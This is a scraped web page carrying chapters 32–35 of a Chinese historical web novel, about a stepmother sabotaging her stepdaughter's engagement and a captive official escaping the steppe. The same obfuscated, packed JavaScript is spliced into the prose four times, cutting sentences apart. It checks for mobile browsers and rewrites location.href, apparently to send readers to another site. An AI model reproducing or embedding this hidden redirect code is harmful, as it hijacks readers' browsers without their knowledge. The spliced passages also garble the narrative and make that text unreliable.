她这却不是有意装相。只是她的计划原本是天衣无缝：先将顾姝困在井中一晚，这般顶寒受冻一晚，定是要大病一场。那时候借口顾姝病重，生死难料，再与高家退亲，便是顺理成章。且那时候顾姝也只剩半条命，躺在床上半死不活的，哪里还能去跟她相斗？ 便是顾世衡回来，凭自已对他的了解，只要与高家的婚事还在，想来他便不会太过追究。过得一年半载，将顾姝随便寻个人家，远远嫁了，便可了结这桩心头大患，皆大欢喜。 可如今顾姝被人救了出来，虽说还是给她安了离魂之症的名头，可顾姝毕竟长了一张嘴，是会说话会分辩的。府中下人也颇多议论，便是管束下人，不叫他们往外透露此事，便要花她好大的精力。 待侯爷回来，还不知要如何跟侯爷解释。便是再要再动手，满府人都瞧着呢，若顾姝再出事，那她真是再遮掩不住了。 便是如愿毁了顾姝与高家的亲事，可办得如此粗糙难看，再想想后头的一地鸡毛，庄夫人这会子也是欢喜不起来。 只是韩夫人见她一副愁眉不展的模样，心头倒是一突：难道，竟不是庄夫人做局，而是顾姝真有大病在身？ 32. 第 32 章 韩夫人本是意兴高昂，来顾家找庄夫人高议退亲之事，再顺道暗示一下高晏与顾嫤的婚事。 却不料庄夫人却是神情抑抑，没有半分谋算成功的轻松喜悦。 自已的痛惜是假，可眼前庄夫人的忧虑却是实打实的真。 韩夫人本来就是多思多疑之人，此时见庄夫人神情不对，不免想到，顾姝好歹也是定远侯嫡长女，当年婚约也不过一句玩笑，定远侯便是不认，自家也毫无办法。若是换作自家，是绝不会同意这门亲事的。偏偏定远侯干脆利落地认了下来。 莫非其中，真如自已先前猜的那般，这顾姝，当真是个天生体弱的？ 她原本便对顾姝的身体颇多猜疑，韩夫人此时越想越觉得自已猜得不错，越想越是心头冒火：好你个顾家，竟是真的将个病秧子塞给我高家！ 至于为什么如今要退亲，自然是因为自家发达了，顾家不敢再拿个病秧子骗自已，故而才想着拿顾嫤这个嫡女替了顾姝。先拿钩子钓着自已，便是换了亲，顾家也可把责任推到自家头上，说是自家背信弃义，违约换亲。 如此一来，便什么都说得通了。 韩夫人面上装出的忧色不由就变成了微微怒意。想了想，还是试探道：“却不知这大姑娘这病，是什么时候有的？” 哪里有什么病！ 庄夫人只能含糊道：“唉，从前也有，只是没有这么严重……” 得了这么一句话，韩夫人便更觉得自己猜得不错。 顾姝原本就是有这病的。自家傻乎乎地上门提起婚约，这顾家便顺水推舟，把这嫁不出去的病秧子塞进高家。如今自家起来了，顾家怕漏馅得罪人，又舍不得这门自家好亲事，便又把三姑娘推出来。 韩夫人这会子真是对顾家恼恨至极。她那般出众的儿子，却被顾家塞了个病秧子媳妇。也幸好，她行事谨慎，不曾把婚事对外宣扬。不然，富贵易妻，不晓得外面要如何议论他高家呢。 亏得自已还傻乎乎的，真当顾家是什么守信君子，明知道嘉平公主的女儿对晏儿有意，自已也硬是为了顾家推却了。却不想是被人做了冤大头！ 韩夫人越想越气，连带着对顾嫤也迁怒上了。面上便淡了下来，道：“我高家，毕竟是将门之家。孩子夜里睡觉也极是警醒。若是大姑娘夜里发病，两下里冲撞，闹出什么祸事出来，却是不好。” 说罢将庚帖推了过去，又缓了口气：“实在对不住了。唉，这些薄礼，也劳烦夫人帮我转交给府上大姑娘，算是代我赔个不是。” 按她原先的想法，要得先得了庄夫人的准话，拿到顾嫤的庚帖，将亲事定下，才肯退还顾姝的庚帖的。只她这会儿实在气愤，也懒得跟庄夫人虚与委蛇，索性干脆利落地将顾姝的庚帖还了。 她的儿子，既有出身，又有品貌，哪里会愁好姻缘。 自然，她高家不是那等背信弃义之人，既是先前与顾家有过约定，那后头便还会娶顾家女。只是，这回再谈亲事，就得顾家上门求她了。 不狠狠整治一番顾家，她实难出心口的恶气。 庄夫人却哪里知道韩夫人的心思。她接过顾姝的庚帖，又将高晏的庚贴退给韩夫人，好歹是完成了一件事，她心里也稍稍舒服了些，才有精力跟韩夫人客气：“罢了，有这样的事情，大家也都不想。” 她毕竟还掂记自已女儿的亲事，又道：“虽是如此，两家的交情可不能断。韩姐姐，孩子们的事情，咱们回头再好生商量？” 韩夫人心底哼了一声，自觉已是将顾家人的打算看得清清楚楚。只这会儿却不肯给庄夫人好脸色，便淡淡道：“刚出了这样的事情，我也里也实在是不好受。这事儿且过些日子再谈罢！” 庄夫人一怔，不知韩夫人怎么态度又变了。 只是婚嫁之事，毕竟也没有女方上杆子的。她自然不肯输了气势，便道：“韩姐姐说的是。那便过些时日再说。” 两人不咸不淡地又说些闲话，韩夫人才告辞离去。 送走韩夫人，庄夫人拿着顾姝的庚贴，端详良久，终是一声长叹。 罢了，虽然事情不尽如人意，可是终究是将高家的亲事给退了。顾姝顶着这样的名声，在京中也是寻不到什么好人家，也只能远远嫁出去。如此，也算是达成目的了。 便是侯爷那边，自己不过请个罪，伏低做小几日罢了。 庄夫人在心中自我安慰了一番，终于是将心态调理了过来，这才叫了金环过来：“你将这庚帖给大姑娘送去，告诉她，高家今天过来将亲事退了。” 她面上泛一起讥笑：“告诉大姑娘，她不必担心，我自会再替她寻一门妥贴的亲事。” 顾姝接过庚帖，听着金环道：“高家是将门，因着大姑娘身患离魂之症，亦是怕出了什么意外，是以提出了退亲。” 她嘴角泛起一丝冷笑：继母为了坏自已的亲事，竟连这种荒谬的说法都用上了。 可法子虽歹毒荒谬，却实在管用。 这边庄夫人才放出谣言，那边高家便上门退亲，甚至连上门看望一下自已、确认一下流言的真伪都不曾…… 高家这亲事退得，未免也太干脆利落了。 顾姝看着手里的庚帖，目光越来越幽深：庄夫人冒这样大的风险，毁了自已与高家的婚事；高家又是这般迫不及待退婚，瞧着，竟像是早有默契一般。 若真如此，高家与庄夫人的默契，是从何而来？ 想起此前韩夫人连续两次上门，顾姝心底浮起一个极为荒唐的想法：庄夫人，该不会是想把顾嫤嫁到高家去罢？ 明慎堂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965309|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高妈妈一脸喜色：“恭喜夫人，可算是将此事了结了。等过两日，再将咱们三姑娘的婚事定下，便再没什么可担忧的了！” 庄夫人长舒了一口气，终是觉心里放松下来。虽说中间一地鸡毛，可总算是将事情解决了。 既给嫤儿觅得了良婿，又解决了顾姝嫁妆的问题。 只想想韩夫人的态度，她皱起眉头：“我瞧着韩夫人的态度有些不对。” 高妈妈忙劝她：“退婚嘛，韩夫人也不好现出喜色不是！” 这倒也是。庄夫人便道：“过两日再请韩夫人来家里做客，跟她商量两家的亲事。务必要在侯爷回来之前，将嫤儿与高家的亲事定下。” 高妈妈忙拍马屁：“夫人英明，想得再周到不过。” 庄夫人嘴角噙笑：“那顾姝大约还是想等着侯爷回来给她做主罢……”可只要将嫤儿与高晏的婚事定下，便是侯爷回来，也必不会有二话。 她越想越觉得心情舒畅，便叫人唤了顾嫤过来。 顾嫤一过来，就扑到庄夫人怀里，眨巴着眼睛问她：“母亲，顾姝她，是真的有离魂症吗？怎么从前没有听说过？“ 自前些日子顾姝闹出那事出来，顾嫤便好奇不已。只是庄夫人这些时日事多，既要忙着审问下人，又要管束下人不许闲话，根本没功夫理她。 且顾姝自那之后，再不曾露过面，更再未来明慎堂请过安。顾婕顾婵二人亦都乖觉，并不去瑞萱堂探望，更不可能跟顾嫤谈论此事。 顾嫤这疑问在心里已是憋了许久。 庄夫人一滞，她自己做这些事，固然不觉得自己有什么不对。顾姝从不把她这个继母放在眼里，为着一块布料，就到处告状，害她颜面扫地。她待顾姝自然也不会客气。 只是对着自己女儿，却不好将自己做的那些事说出来，只能敷衍道：“大夫是那般说的。与你又不相干，你小孩子家家，管这些做什么！” 见女儿不高兴撅嘴，庄夫人轻轻拍了她一下：“你这孩子，都十四的人了，还这般孩子气！母亲有话问你。” 顾嫤才道：“什么事？” 庄夫人便道：“你可知道，因着顾姝那病，韩夫人已是将顾姝的庚帖退还了，跟顾姝退了亲。” 顾嫤瞪大眼睛：“退亲了？” 她脸上随即绽出一个大大的笑容：“哈哈哈，这么好的婆家没了，顾姝怕不得哭上三天三夜。” 庄夫人不理会她的孩子气，只反问她：“你也觉得高家这门亲事不错？” 顾嫤脸上的笑意还是未散：“就还成吧。” 想了想，又嘻嘻一笑：“高晏生得倒是不错。”虽说人品瞧着不怎么样，可这也不关她的事。 庄夫人终于舒心一笑：“你既觉得不错，便将他给你做夫君如何？” 33. 第 33 章 将高晏给自已做夫君？ 一听这话，顾嫤登时僵住，讶然道：“母亲你说什么呢？什么给我做夫君？” 庄夫人便嗔她：“你这孩子，这么大了也不开窍。我是觉得那高晏不错，长得好不说，自己也有本事。且你父亲也说，高家跟四皇子颇为亲近，将来前程不可限量！正正是个难得的夫君人选。” 顾嫤难以置信：“高晏，他，他可是大姐姐的夫婿！” 庄夫人便道：“方才不是告诉你了么，顾姝与高家，已经退亲了。” 顾嫤恼道：“便是退亲了，那高晏也跟大姐姐定过亲！我若嫁过去，岂不成了姐妹易嫁？这，这成什么样子！” 庄夫人忙斥她：“你这孩子，怎么这般口无遮拦！什么姐妹易嫁的，多难听！ 顾姝跟高家的婚事，先前只是换了庚帖，咱们两家都没有在外头说。别人哪里知道他跟你大姐姐定过亲？” 顾嫤急得腾地站起身来：“别人再不知道，难道高家人还不知道？我真嫁过去了，高家人要怎么看我？” 庄夫人实是想不到顾嫤反应会这般大，不由分辩：“高家人哪里会多说？他家不过是个伯爵，你可是堂堂侯府嫡女。嫁到他家，他们有什么不愿意的？再者，韩夫人亲口跟我说，她也是更中意你……” “我呸！她算个什么东西，我要她中意！”顾嫤气得口不择言，“他高家才从山沟沟里出来几天，脚上的泥巴还没干呢，就对着我们侯府的姑娘挑三拣四起来，他也配！” 顾嫤这会子又急又气，眼圈都有些红了：“他高晏到底有什么好？咱们顾家堂堂侯爵门第，一个个的，都要往高家塞？再者，我顶着个姐妹易嫁的名头嫁过去，在高家，一辈子都休想抬得起头来。母亲竟一点都不为女儿的将来着想么！” 庄夫人却是没有想到顾嫤竟如此排斥这桩婚事，急道：“我哪里不为你着想了？我是觉得高晏人不错，高家前程也好，才想着给你选这门好亲事的。” 她也一肚子委屈，只觉自已全心为女儿打算，女儿却是不懂她的一番好意：“京里好人家也我寻摸过，年龄相当，身份尊贵，将来又有爵位继承的，能有几个？……便是有那么几个不错的，也是早早就定了亲的。我才想着给你找这门好亲事！” 再者，她明明瞧着女儿跟高晏相处挺好的，怎么就不乐意呢？ 顾嫤简直不知道该怎么跟自已母亲说了：“我是堂堂侯府嫡出姑娘，什么样的好人家寻不到，偏要捡顾姝不要的破烂货？” 她是爱抢顾姝的东西没错，可那不过是因为她看顾姝不顺眼罢了，却不是为了贪那点子东西。再者，便是从顾姝手里抢到了东西，她也从不再用，不过是为了气顾姝罢了。 东西可以置之不理，可一个大活人要怎么办？ 她只要一想到这人从前跟顾姝定过亲，见到他便只觉满心厌烦，又哪里能跟他做什么夫妻！ 因着高晏跟顾姝的亲事，顾嫤自来对高家便没有什么好感，这会子更是面露嫌恶之色：“再说高家，难道就是什么好人家不成？顾姝这头才说病了，那边就着急忙慌地退亲。这才进京几天哪，就张狂得不知道自家姓什么了。要是他家如今还在川西，便是顾姝明儿个就病得要死了，他家今儿个怕不还是得笑着脸把顾姝娶进门！” 庄夫人自然明白，实则是因为两家有了默契，要换亲事，故而高家才这般着急退亲。可顾嫤显是气极了，说话又急又快。庄夫人便是想解释，竟也插不进嘴。 这到底不是什么体面事，庄夫人张张嘴，终是没有说出来。 至于顾嫤所说的嫁到高家之后的事情，庄夫人自然也想过。只是在她看来，这些都是其次，能拿到手的尊荣、体面、地位，才是最要紧的。 譬如她自已便是高嫁，虽说伏低做小，可也确实让娘家受益不少，自己更是从五品小官之女，一跃成为人人艳羡的侯夫人。在她眼里，实惠才是最重要，便是受些气，也算不得什么。 她不由辩道：“女子成亲，哪有不受些气的。你嫁到高家，便有些委屈，可将来便是伯爵夫人，又有什么不好？” 顾嫤冷笑：“这才哪到哪儿，便想着要我堂堂侯府千金大小姐对着他们俯首低头了？他也配？自家不守信用，挑唆着母亲换亲，到时候还把罪名推到我头上，想靠这个拿捏我，我呸！我堂堂正正嫁到谁家不好，非要顶着个抢亲的名头嫁到他家去？” 庄夫人看着女儿高傲不屑的神情，一时间再说不出话来。 自已出身平平，遇事便没有底气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971073|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从五品小官之家嫁入侯府，外人瞧着是飞上枝头做凤凰，可这些年其中的委曲求全，做小伏低，也只有自已明白。 女儿却是侯府贵女，从小便得父母宠爱，一呼百诺，眼界气度，与自已这个亲娘，竟是天差地别。 虽说女儿不领受自已的好意，还给自已好大一顿排揎。可亲生母女，哪会把点子气话往心里放。庄夫人不觉得生气，心底反而隐隐涌起骄傲之情。 这是她的女儿，天生尊贵，志存高远，受不得一点委屈。 却实是比她这个亲娘长进多了，也有底气多了。 她长叹一声，手指戳戳顾嫤额头：“真真是个讨债鬼！” 也再不说要女儿嫁到高家的话：“你娘我一心想着为你这个讨债鬼寻个好夫婿，你可倒好，一点不领情。” 顾嫤依旧板着脸：“他再好，只凭他跟顾姝定过亲，我便不喜欢。不过是顾姝捡剩下的罢了。旁人拿他当宝，我可是瞧不上！” 庄夫人摸摸顾嫤的头发，口中哄她：“好好好，不要便不要。母亲听乖女儿的。我女儿出身品貌样样不输于人，什么样的好夫婿寻不到！” 庄夫人到底慈母心肠，既然女儿坚决不愿嫁到高家，那也只能依着孩子的意思了。 至于跟韩夫人之间的默契，庄夫人并不放在心上。 高家一个才回京的伯爵，脚跟且还没有站稳呢，哪里敢跟他们顾家置气。且女儿说得对，顾家于高家危难中应下婚事，守诺重信。可高家呢，一听说顾姝有疾，便巴巴来退亲，如此背信弃义，高家自己哪里有脸再说顾家的是非！ 庄夫人打消了主意，不再逼着顾嫤嫁到高家，顾嫤的怒气也便消了。她本就聪慧，更不追问顾姝生病一事的由来。 反而咯咯一笑：“我瞧顾姝没了这门亲事，还怎么傲得起来！现在满京城只怕都知道她得了离魂之症了罢！” 庄夫人才舒的一口气，却又叫这话提了起来：原本以为可以将女儿嫁到高家，故而叫人把顾姝的病情宣扬得人尽皆知。只是如今女儿不愿意嫁给高晏，那又要如何是好？ 只是事情总是叫人意想不到。 定远侯家大小姐有离魂症在京中权贵之家传了几日，便被另外一桩大事压了下去：当今天子驾崩了！ 34. 第 34 章 元亨帝这两年身子便不大好，此番龙驭殡天，众人对此也不意外。且先帝驾崩前，便当着诸内阁重臣的面立了四皇子为太子，继承大统。 新帝早几年便参与政务，有监国之权。如今名正言顺登基为帝，千头万绪，却也不露怯色，行事颇有章法。 诸般大事皆算顺利，只有一样，定远侯作为钦差征北将军，去讨伐北漠。此时新帝初立，千头万绪，却不是与北漠开战的好时候。于是又派了使者，六百里加急去给征北军传讯。 征北军却还在跟北漠扯皮。本就是带了大军过来的，又是北漠挑衅在先，竟致三个大周官员遇害，故而态度很是不客气。 北漠倒是言卑辞恭。因新王亦是新登宝座，尚未将各部整合起来，不敢跟大周开战，故而极是配合征北军的要求。遇害的使团官员亦是好生收殓了交给征北军。 只是前来迎回尸骨的官员却皱起眉来：“说是三位使官遇害，怎的只有两位的尸骨？” 那北漠使者不由面露难色：“当时情形混乱。那叛贼斡赤斤带的人马一通冲撞，大家四散逃逸，再加上旁边不多远便是大河，有不少人乱中落水，若是被水冲走，是再难寻回的。莫说上国官员，便是我北漠人，也有许多人至今下落不明。” 征北军官员本就是预备开战的，又岂会听他这番解释，找不到尸身，决不肯罢休。双方便为此僵持不下。 镇守北疆的军队已是厉兵秣马，随时准备出兵北漠。 只这时，却收到京中发来六百里加急：先帝驾崩，新帝甫登基，却不是个开战的好时候了。 再加上北漠愿意让出两城，又赔偿了牛羊宝石玉石等物，而失踪那一人的尸骨终是无法找到，征北军也只有接受条件，领军回朝。 诸将及随军参赞僚属商议，皆是同意这般处置：“罢了，既不是开战的好时机，能得两城，也足以向朝廷交待。” 朝廷此次派军出征，本是想趁着北漠新王登位，人心不稳，趁机进攻，不想北漠新王竟如此乖觉，又是割城又是赔礼，竟是找不到开战的理由。加之自家也有事，如今也只能见好就收。 至于那没有寻到尸骨的贺姓官员，便待回去后上表嘉奖，再叫家人立个衣冠冢罢了。 白雪覆野，天地苍茫。 贺仲珩骑在马上，回想自已这两个月的经历，还恍然若梦一般。 那日他被打晕掳到阿鲁台部做奴隶，本想是趁人不注意逃跑，奈何起初小头目看他们这批新来的奴隶甚是严密，根本找不到逃脱的机会。 后来因着天气寒冷，整个部落便转场去了南部适合过冬的草场。这下贺仲珩更是连自已在哪里都不知道了。 所幸他是个心有成算的人，既知道轻易逃脱不得，便表现得极是恭顺听话，叫做什么活便做什么，很是老实能干，渐渐地倒叫管他的头目对他宽松许多。 他又静下心来，日日学说北漠话。本来知道要派到北漠，便已学了一些简单的会话。如今又待了几个月，在有意学习之下，听说已是都没有问题。只是他向来沉默寡言，说话也多简短，是以众人也只当他言语不通，并不将他放在心上。 两个月前，部落里来了一支商队。因着北漠交通不便，物产贫瘠，故而各部落对这些外来的商队很是欢迎。 商队里也多是盐，茶，糖，布料等物，偶尔带些铁器，便引得众人争相抢夺。 因着大周与北漠并未开通互市，像这些商队，其实是被大周朝廷禁止的，只是虽有禁令，也挡不住利润高，自然有人前仆后继地做这买卖。便说这商队，既有大周人，也有北漠人，甚至还有不知哪里来的色目人等等，竟是个大杂烩一般。 部落里留商队住了一晚，换了些茶盐糖等物，而拿来交易的有皮子，鹿角，亦有宝石玉石等物。 贺仲珩看着这个商队里的各色人样，若有所思。 第二日，商队便离开了，继续朝西行去。 贺仲珩依旧放羊割草，与往常一样。 又过了一天，贺仲珩与部落中另一人，骑马赶着羊群离开帐篷十多里去放羊。两人经常这般一起去牧羊，是以那北漠人对贺仲珩也无甚防备。贺仲珩趁他不注意，自己捡了块石头，走到他身后，趁其不备，猛往他头上砸去，将他砸晕在地，又解了他的腰带，将他手脚缚住，这才取了他的佩刀，骑上自已马，又牵这戎人的马，带了水囊与干粮，沿着昨天商队离开的痕迹追踪而去。 他没有杀那戎人，并非是因为心慈手软，而是贺仲珩在这部落里生活了几个月，颇知他们的习性。若只是劫掠财物，这些人能追就追，追不上也就罢手了。可若是有了人命，部落里的人定要不死不休，杀他报仇。 贺仲珩只是想逃走，却不想为了一个人惹麻烦上身，是以才留了那人一条命。 商队之人已走了一日一夜，也亏得他们带着大批货物辎重，行路慢，贺仲珩死命催马，两匹马交替着骑，终于在天黑之前追上了商队。 贺仲珩终于长舒了一口气。草原的夜晚极是危险，他单身一人，遇上狼群，便只有死路一条了。幸好追上了。 商队人见到他来，都颇惊讶。 贺仲珩便编了个故事：道自已叫徐鹤，还有个弟弟叫徐虎。自己家中也是跑商队的。只是去年年底的时候，来北漠贩货时，正遇上大王子扰乱，商队人被冲散，自己跟弟弟被走散。他昨天见到商队之人，便想跟他们一起，去各部落看看，能不能找到自己弟弟。 说罢，贺仲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977351|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩又道：“我能干活，不要工钱，能给我口饭吃，带我去找我弟弟就行。” 他又指指自己带来的两匹马：“这两匹马，我愿拿出一匹，算是我的报酬。” 商队之人对视一眼，一匹马也值不少钱了，况且又不用给工钱，便可得一个壮劳力。这生意做得。 至于这马的来路，自然不会有人去管。 于是贺仲珩便跟着商队在这北漠里四处行商。他自己盘算得也清楚，一直呆在那个部落，自己又不熟悉地形，想要逃走，简直难如登天。一个人孤身在草原上行走，不过是给野兽投食。只有跟有大队人马，方能保证自已的安全，进而才有机会回到大周。 且在这茫茫草原上，危险的不只是兽群，最大的威胁，还是人类。 当察觉到头顶一直有苍鹰盘旋之时，商队头领便意识到了不对，随即便叫商队成员警戒起来。这明显是有劫匪看上了他们这支商队。草原上的牧民，不是个个都淳朴善良的。那些富庶的部落，有余力跟往来的商队做交易，也希望他们能常来，带来自已需要的盐巴铁器，还有汉人织的布匹。而贫穷的部落，无力交易，便会打着明抢的主意。 这些年来，这样的事情商队也见得多了。 至于贺仲珩，“徐鹤”，头领达延轻描淡写道：“你去队尾帮忙守着。” 贺仲珩应了一声，老老实实地去了队伍最后面。这里算是比较安全的地方，已有一个小伙子在守着了。贺仲珩记得这他好像是叫巴图。马图警惕地看了贺仲珩一眼，随即往一旁挪了挪，给他让了个位置。 贺仲珩也能理解这些人对自已的戒备。自已一个陌生人，加入商队还没有几日，说不得，便是哪家派来的前哨。这个时候，自已还是安份守已，莫要再做任何动作叫旁人起疑心得好。 秋风呼啸而过，吹得地上枯黄的草倒伏在地。风声之中，已能隐隐听到传来马蹄作响，在飞快朝商队逼近。 众人早已将车卸下，围成一圈。马与货物在最里侧，众人躲在车后，已是张开弓箭，预备先给敌人一波弓箭迎接。 贺仲珩看得心中暗暗点头。难怪这商队敢这么深入大漠，原也是有恃无恐，这些汉子们各个功夫了得不说。首领布起阵来也是颇有章法。看来对付马匪的经验很丰富。 马匪们转眼便进入了射程，首领做了个手势，马车后便飞出一根根箭矢。马匪们有痛呼坠马的，只是大部分也是有经验的，将身子伏下，躲避弓箭。 有几个身手娴熟的，也拉弓反击。 贺仲珩没有参战。便老老实实缩起来，躲避马匪的流矢。 只他老实躲着，却听得“嗖”地破空之声，一支长箭竟是朝他这个方向直射而来，接着便是一声痛呼。 35. 第 35 章 听到这声痛呼，贺仲珩转眼一看，巴图举弓射马匪没有射中，自已却是被支箭射中胳膊。 贺仲珩有些无语。窝在这角落里也能被射到，这小伙子的运气实在是太差了。 他弯腰将巴图往里面扶了扶，叮嘱他：“呆在这里不要动。”说罢，自已从他手里夺过弓箭，又从他箭筒里抽了几根箭出来。 巴图双眼瞪大，想把自已的弓抢回来，贺仲珩按住他的肩膀：“这会子，多一个人便多一份助力。” 说罢，又回到车后，单膝跪地，拉弓，一箭射出。 却是什么都没有射中。 贺仲珩亦不意外。这手上的把式，三天不摸便要手生的。何况他已经大半年不曾练习了。 又射了一箭，对这把弓的力度准头心里又有了数。 第三箭，正中一个马匪胸口。 坐在后面的巴图睁大了眼睛。 贺仲珩再次拉弓。自第三箭开始之后，几乎每放一箭便可带走一人。 便是旁边的人，也不由诧异地转头看他，完全看不出这徐虎，竟是有这样一手本事。 贺仲珩却不没有在意旁人的眼光，一箭一个，精准射向马匪。 他外祖父是开书院的，自来重视君子六艺，书院里也请了镖局里金盆洗手的老镖师教学子们骑射。学子犹如此，对贺仲珩这个外孙，老人家抓得更是严。尤其重视他的骑马射箭的功夫。 因骑马控马，最练下盘。而射箭，既要练臂力，又要练手稳，却是与练字相当。故而贺仲珩从开始写字的时候，便开始练习射箭。故而，他拳脚功夫不过一般，可骑马射箭的本事，着实不差。 马匪已冲进了车队里面。最外圈是设了绊马索与铁蒺藜的，马匪们也是有经验，索性下了马，拿着砍刀便冲进车队。这个时候贺仲珩却是不敢再上前逞威了，老老实实跟那巴图缩在一起。 巴图这会子倒不再笑话他，反而一拍他肩膀：“好汉子，射箭的本事真不错！” 贺仲珩露出一个憨厚的笑容。 因着商队早有准备，对付马匪颇有经验，这么一小股马匪也不在话下，一阵厮杀过后，这队马匪便被诛戮殆尽。然后便是打扫战场，将马匪身上值钱的东西搜刮一通，多是些兵刃弓箭；贺仲珩因此分到一张弓。头领达延将弓和一支箭筒递给他，脸上满是欣赏：“好勇士！徐鹤，以后就跟着咱们商队一起干罢！” 贺仲珩一笑：“待找到我的弟弟再说。我弟弟的本事，跟我不相上下！” 经此一役，贺仲珩算是彻底融入了这支商队。他这才知道自已多么幸运：这支商队是今年最后一次交易。因着如今已是十月底，冬天草原的雪太大，是没法行路的。他们马上要回自已的部落，在那里度过冬天，待到来年春天，再继续往草原深处走。 亏得贺仲珩当机立断，跟着他们商队，也亏得有这马匪一事，贺仲珩得了他们的信任，被允许同他们一起过冬。不然，贺仲珩一个人，在这草原上，是绝捱不过这个冬天的。 而正当贺仲珩跟着商队往大漠深处，去了商队所居部落，在这里度过大漠的寒冬的时候，朝廷的军队，也结束了跟北漠的谈判，启程返回了京城。 京城，顾家。 庄夫人已得了消息，因北漠此番态度极是谦卑，还献了两座城出来，新帝初登基，也不好兴战事，于是此事便是就此罢休，大军已经启程回京。 待到顾世衡回来，顾姝的婚事要如何跟他解释，实是一桩麻烦事。 便是知道顾世衡不喜顾姝这个女儿，可是他毕竟中意高家这门姻亲，如今亲事毁了，不知道他要如何发怒。 庄夫人只愁得焦头烂额。 而丢了亲事的高家，亦是极为不虞。 原本知道庄夫人相中自己儿子，要将自己的亲生女儿嫁到高家，韩夫人颇为自得。但因着恼怒顾家人不厚道，将顾姝那个病秧子塞给自家，故而韩夫人便下了决心：“这回与顾家的亲事，自己定要稳住，决不主动开口，要庄氏求着自己才行。到时候，再跟她翻一翻，顾家塞个病秧子过来的旧账。” 只是退亲了好几日，顾家却是再没有人上门。 韩夫人冷笑不已，对身边的婆子道：“这是还想拿乔，等着我去上门求她呢。哼，庄氏这回可算是打错算盘了！” 只是过得几日，皇帝殡天，高家做为四皇子一系，自然忙得不可开交，况且皇帝大行，百官禁嫁娶，此时便就暂时做罢。 只是，虽说禁嫁娶，可若有意结亲，双方自然是该通个信，暗示一下婚事，也是应有之意。 可顾家却是什么动静都没有。 新帝登基了两个多月，顾家却依旧没有人上门，从前那些没说出口的默契，便好似从未有过一般。韩夫人方意识到，自己怕是被人摆了一道。 只怕庄夫人根本没有嫁顾嫤的意思，只不过引诱自己退亲，好毁了继女的亲事罢了！ 意识到自已被骗，韩夫人气得火冒三丈：“这贱妇，竟这般算计我！我儿天资英才，前程远大，自有大把名门贵女堪配，哪里非要她顾家人了！” 只是自已毕竟是被庄氏诓骗，中了人家的套退亲，生生吃好大个暗亏，竟还没处说理！ 韩夫人心中简直恨透了庄氏那贱人。她冷笑道：“她一个后娘，趁着夫君不在，就将原配长女的婚事搅和了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977793|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我瞧她怎么向顾世衡交待！” 顾世衡此次出征，颇为得意。北漠态度极是卑谦，丝毫不敢对上国不敬，又献了两座城出来。可谓不战之功。更别说北漠王知情识趣，又送了他极厚的程仪。于公于私，都可谓收获颇丰。 只是回到家中，听得庄夫人吞吞吐吐将高家退亲之事说了，不由又惊又怒，一巴掌将庄夫人掴倒在地：“蠢货！” 忠毅伯几年前就投了新皇，如今正是春风得意的时候。庄氏因着一念之私，竟将这么好一桩亲事毁了，真是愚不可及。 他看着庄氏，一字一句道：“我早就说过，高家如今不同凡响，需得将姝丫头的婚事早日定下来。你在家，就是这么做事的？” 庄夫人捂着脸，一个字都不敢说。 她自然知道丈夫看重高家，看重跟高家的姻亲。可她原想着，把顾姝的亲事退了，把自己女儿顶上去，高家依旧是顾家的亲家，丈夫便是看在嫤儿的面上，也不会跟自己过多计较。哪里曾想，女儿竟是看不上高晏呢？ 她如今再不敢提顾嫤，生怕丈夫为了保住这亲家，非要把女儿嫁到高家去，竟是硬生生忍了下来。 顾世衡冷冷看了一眼庄夫人，哼了一声，去了书房，叫了大管事顾安全来回话。 庄夫人的小心思他一清二楚，如今自然也不会信她的一面之辞，什么离魂之症云云，简直荒谬可笑！也就这无知妇人，才想得出这般离奇的借口。 果然，顾安全便将当日之事一一说出。 “是夫人身边的高婆子，连同烟云，将大姑娘推入井中。后来，烟霞回瑞萱堂，听到大姑娘呼救，便拿了绳子将姑娘拉了出来，随后带回院中休息。烟云并未察觉。第二天便向夫人禀告，道是大姑娘不见了。便有了后面的事。” 